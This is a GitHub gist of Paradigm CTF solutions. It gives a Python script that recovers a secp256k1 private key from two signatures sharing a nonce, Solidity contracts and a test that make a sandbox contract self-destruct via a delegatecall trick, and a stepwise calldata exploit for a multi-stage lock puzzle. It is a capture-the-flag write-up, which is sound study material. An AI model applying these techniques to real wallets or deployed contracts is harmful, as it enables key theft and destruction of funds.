Skip to content
{{ message }}

Instantly share code, notes, and snippets.

# roynalnaruto/BabyCrypto.md Secret

Last active Feb 8, 2021
Paradigm CTF solutions

The following python code accepts `r1`, `s1`, `s2` and the `msg1`, `msg2` to reconstruct the private key (given that the same nonce `k` was used to sign), so `r = r1 = r2`.

```from random import SystemRandom
from ecdsa import ecdsa
import sha3
import binascii
from typing import Tuple
import uuid
import os
import math

def hash_message(msg: str) -> int:
"""
hash the message using keccak256, truncate if necessary
"""
k = sha3.keccak_256()
k.update(msg.encode("utf8"))
d = k.digest()
n = int(binascii.hexlify(d), 16)
olen = ecdsa.generator_secp256k1.order().bit_length() or 1
dlen = len(d)
n >>= max(0, dlen - olen)
return n

def modInverse(b,m):
g = math.gcd(b, m)
if (g != 1):
return -1
else:
return pow(b, m - 2, m)

# Function to compute a/b under modulo m
def modDivide(a,b,m):
a = a % m
inv = modInverse(b,m)
if(inv == -1):
print("Division not defined")
else:
return (inv*a) % m

if __name__ == "__main__":
msg1 = input("msg1? ")
msg1_hashed = hash_message(msg1)
msg2 = input("msg2? ")
msg2_hashed = hash_message(msg2)
r1 = int(input("r1? "), 16)
s1 = int(input("s1? "), 16)
s2 = int(input("s2? "), 16)

g = ecdsa.generator_secp256k1

k = modDivide((msg1_hashed - msg2_hashed), (s1 - s2))

d = modDivide(((s1 * k) - msg1_hashed), r1)

test = int(input("test? "), 16)

pub = ecdsa.Public_key(g, g * d)
priv = ecdsa.Private_key(pub, d)

sig = priv.sign(test, k)
print(f"solved r=0x{sig.r:032x}")
print(f"solved s=0x{sig.s:032x}")```

# BabySandbox

`staticcall` does not allow any state modifications (a complete list of disallowed operations is here).

The idea is to have a `Receiver` contract that shall be called by `BabySandbox` (via `delegatecall`) and this receiver is responsible for somehow triggering the self-destruction of `BabySandbox`. This is possible since in `delegatecall` the calling contract's context is used, and it only uses the code from the contract being called.

The first thought when I saw the `BabySandbox.sol` contract was, that I can perhaps use the `gasleft()` value to construct a condition that fails initially for `staticcall`, but is satisfied only for the `call`. But I couldn't really get the first `staticcall` to spend a lot of gas (through some dummy loops), leaving the second `call` with `gasleft()` less than the max supplied.

Next we can notice that the failure in `delegatecall` can be caught and we don't revert but simply return back to the calling contract, we can disguise as if the call simply returned nothing. So we can have another contract called `Dummy.sol` that only does one of the disallowed operations, say, `selfdestruct`. The first time its called, its during the `staticcall`, so it fails, but we catch it and return. The second time its called, it succeeds since it is a `call`. So we use this success code to then `selfdestruct` the `BabySandbox` through Receiver.

### Receiver.sol

```pragma solidity 0.7.0;

contract Receiver {
fallback() external {
assembly {
// hardcode the Destroyer's address here before deploying Receiver
switch call(gas(), 0xe7f1725E7734CE288F8367e1Bb143E90bb3F0512, 0x00, 0x00, 0x00, 0x00, 0x00)
case 0 {
return(0x00, 0x00)
}
case 1 {
selfdestruct(0)
}
}
}
}```

### Dummy.sol

```pragma solidity 0.7.0;

contract Dummy {
fallback() external {
selfdestruct(address(0));
}
}```

### Script

#### Deploy Dummy

```const { expect } = require("chai");

describe("Testing BabySandbox", function () {
it("should work", async function() {
// setup phase
const Setup = await ethers.getContractFactory("Setup");
const setup = await Setup.deploy();
await setup.deployed();
const sandboxAddr = await setup.sandbox.call();
console.log("sandbox addr = ", sandboxAddr);

// deploy the dummy contract
const Dummy = await ethers.getContractFactory("Dummy");
const dummy = await Dummy.deploy();
await dummy.deployed();
console.log("dummy addr = ", dummy.address);

// deploy the receiver contract. This can be done in 2 steps after getting
// the Dummy contract's address. But since this is a test env, it is
// deterministic
const Receiver = await ethers.getContractFactory("Receiver");
const receiver = await Receiver.deploy();
await receiver.deployed();
console.log("receiver addr = ", receiver.address);

// instantiate a contract instance of baby sandbox and run it with the receiver addr
const sandbox = await ethers.getContractAt("BabySandbox", sandboxAddr);
await sandbox.run(receiver.address);

console.log("done? ", await setup.isSolved.call());
})
})```

# Lockbox

We can have a closer look at the `_` modifier in every contract that inherits `Setup`:

```modifier _() {
_;

assembly {
...
}
}```

The `_;` is replaced with the function's body, which means, our initial call to `Entrypoint.solve(bytes4 guess)` will do:

• Check `require(guess == bytes4(blockhash(block.number - 1)), "do you feel lucky?");`
• Update `solved` to `true`
• Move on to the next stage

When we move to the next stage, have a closer look to what we do:

• Fetch the address of the next contract, and if its `0x00`, simply return. This return will happen at `Stage5`
```let next := sload(next_slot)
if iszero(next) {
return(0, 0)
}```
• Call the next stage's `getSelector()` method to get its selector
```mstore(0x00, 0x034899bc00000000000000000000000000000000000000000000000000000000)
pop(call(gas(), next, 0, 0, 0x04, 0x00, 0x04))```
• Call the next stage's appropriate selector and pass the same `calldata` again (stripping off the first 4 selector bytes)
```calldatacopy(0x04, 0x04, sub(calldatasize(), 0x04))
switch call(gas(), next, 0, 0, calldatasize(), 0, 0)
case 0 {
returndatacopy(0x00, 0x00, returndatasize())
revert(0x00, returndatasize())
}
case 1 {
returndatacopy(0x00, 0x00, returndatasize())
return(0x00, returndatasize())
}```

This effectively means that, from `Entrypoint` to `Stage1` to `Stage2` and so on, to `Stage5`, we will pass the same calldata to all calls. So one calldata to solve them all!

We will construct a script on our way from `Entrypoint` to `Stage5`, and keep adding to the script. We can run the script with:

`npx hardhat scripts/solver.js --network ctf`

#### Entrypoint check

The check for `Entrypoint` is somewhat easier. We can get the last block's hash, take the first 4 bytes. So far we know that the calldata starts with `Entrypoint.solve.selector + blockhash[0:8]` (if the blockhash is a hex string, that means 8 characters for the first 4 bytes).

The script is:

```const hre = require("hardhat");

async function main() {
const setup = await hre.ethers.getContractAt("Setup", "0x527B3b9C9DB183C8867eFe369929D004dDf8DBD9");
await setup.deployed();
const entrypointAddr = await setup.entrypoint.call();
const entrypoint = await hre.ethers.getContractAt("Entrypoint", entrypointAddr);
await entrypoint.deployed();

const n = ethers.provider.blockNumber;
const lastBlock = await ethers.provider.getBlock(n);
const guess = lastBlock.hash.substring(0, 10);

// this is 0x prefixed
let data1 = entrypoint.interface.encodeFunctionData("solve", [guess]);
}

main()
.then(() => process.exit(0))
.catch(error => {
console.error(error);
process.exit(1);
});```

#### Stage1 check

We wish to verify a signature and the address to be recovered to be `0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf`. Notice that this is the famous address for the private key `0x0000000000000000000000000000000000000000000000000000000000000001`.

We can basically generate an ECDSA signature for signing the message `keccak256("stage1")`, and get the `{r, s, v}` values.

But here's the tricky part. Most Ethereum libraries will sign a message that is prepended with `\x19Ethereum Signed Message + len(msg)` before signing. So the signature verification would fail. I generated signature using the `[ethers-rs](https://github.com/gakonst/ethers-rs)` repository, but you could basically go online and find an ECDSA msg signer (that is not compatible with the "Ethereum Signed Message" prepended msg).

But we're not fully done here. Because `Stagee3` requires the `keys` to be in strictly increasing order. Notice that `keys` is actually `s` and `keys` is `r`. So we need a signature where `s > r`. After generating a few signatures, I arrived at this one:

```r = 0x274d91564d07600e8076a8843bd13a374cf43dcd2f5277fb61313f3d5c805b61
s = 0xa129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04236
v = 0x1c```

Now we also need the `v` value to decode to `0x1c`, but that comes from the first 32 bytes of the calldata (after the selector of course). So we will modify `data1` above to:

`data1 = data1.substring(0, 72) + "1c";`

#### Stage2 check

Both arguments `a` and `b` are 16 bit unsigned integers, meaning, if their sum exceeds 16 bits, it will overflow and satisfy the condition `require(a > 0 && b > 0 && a + b < a)`

Since `a` is decoded from the first 32 bytes, it matches `v` at the moment (i.e. `0x1c`). We need not fear prepending `ff` to this, since the `Stage1`'s solve will only take the least significant 1 byte.

So modify the line we edited above (`data1`) to be:

`data1 = data1.substring(0, 70) + "ff1c";`

#### Stage3 check

Notice that we have many arguments here: `uint idx, uint memory keys, uint memory lock`. So in total, it will read `32 * 9 = 288` bytes. But also look further ahead in `Stage5`, that the calldata cannot be greater than `256 bytes`. So this means we will have to set `lock` and `lock` to `0` (basically by not passing any calldata to it, those values will be decoded as `0`).

Also notice that there is a check: `require(keys[idx % 4] == lock[idx % 4])`. This gets a bit tricky.

We cannot have a key with value `0` because it would fail the `always increasing` check. But we already have two of our lock values set to `0`. So then we would need `idx % 4` to be either `0` or `1`.

In the signature that I had generated, I got `idx % 4 == 0`, so I set the 32-bytes for `lock0` to be equal to `key0`, which is also what `r` is.

So the script now becomes:

```// guess, v, a, idx, choices
let data1 = entrypoint.interface.encodeFunctionData("solve", [guess]);
data1 = data1.substring(0, 70) + "ff1c";

// r, b, keys, choices
const data2 = "274d91564d07600e8076a8843bd13a374cf43dcd2f5277fb61313f3d5c805b61";

// s, keys, choices
const data3 = "a129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04236";```

Next moving on to the checks:

```require(keys[i] < keys[i + 1]);
require((keys[j] - lock[j]) % 2 == 0);```

We need to set `keys` and `keys` to be greater than `keys`, while also being even.

So the script now becomes:

```// guess, v, a, idx, choices
let data1 = entrypoint.interface.encodeFunctionData("solve", [guess]);
data1 = data1.substring(0, 70) + "ff1c";

// r, b, keys, choices
const data2 = "274d91564d07600e8076a8843bd13a374cf43dcd2f5277fb61313f3d5c805b61";

// s, keys, choices
const data3 = "a129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04236";

// keys > keys and be even, also choices
const key2  = "a129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04238";

// keys > keys and be even, also choices
const key3  = "a129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04240";

// lock == key since idx % 4 == 0
const lock0 = "274d91564d07600e8076a8843bd13a374cf43dcd2f5277fb61313f3d5c805b61";```

#### Stage4 check

Here we have a bunch of choices, and a `choice`. The condition is:

`require(choices[choice % 6] == keccak256(abi.encodePacked("choose")))`

Now the required hash calculates to `e201a979a73f6a2947c212ebbed36f5d85b35629db25dfd9441d562a1c6ca896` in hex.

We have two free slots at this moment, specifically, `keys` and `keys`, because we can flexibly change them as long as they satisfy the criteria that they should be in strictly increasing order and be even.

So I set `keys` to the required hash, as it is even, and is greater than `keys`. With this, we need `choice % 6` to evaluate to `4` since `keys` is also the same as `choices`. So we modify the script to:

```let data1 = entrypoint.interface.encodeFunctionData("solve", [guess]);
data1 = data1.substring(0, 70) + "ff1c";
const data2 = "274d91564d07600e8076a8843bd13a374cf43dcd2f5277fb61313f3d5c805b61";
const data3 = "a129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04236";
const key2  = "a129687de0b602825f931363235f7a427088014fb94cde3264efbce58cc04238";
const key3  = "e201a979a73f6a2947c212ebbed36f5d85b35629db25dfd9441d562a1c6ca896";
const lock0 = "274d91564d07600e8076a8843bd13a374cf43dcd2f5277fb61313f3d5c805b61";
const choice= "0000000000000000000000000000000000000000000000000000000000000004";```

We now have solved all stages so we do:

```const signer = ethers.provider.getSigner(0);
const tx = await signer.sendTransaction({
to: entrypoint.address,
data: data1 + data2 + data3 + key2 + key3 + lock0 + choice,
});

const solved = await entrypoint.solved.call();
console.log("solved = ", solved);```

And we have satisfied the checks at every stage, so no revert ensures the transaction is mined successfully, setting `solved` in `Entrypoint` to `true`.

to join this conversation on GitHub. Already have an account? Sign in to comment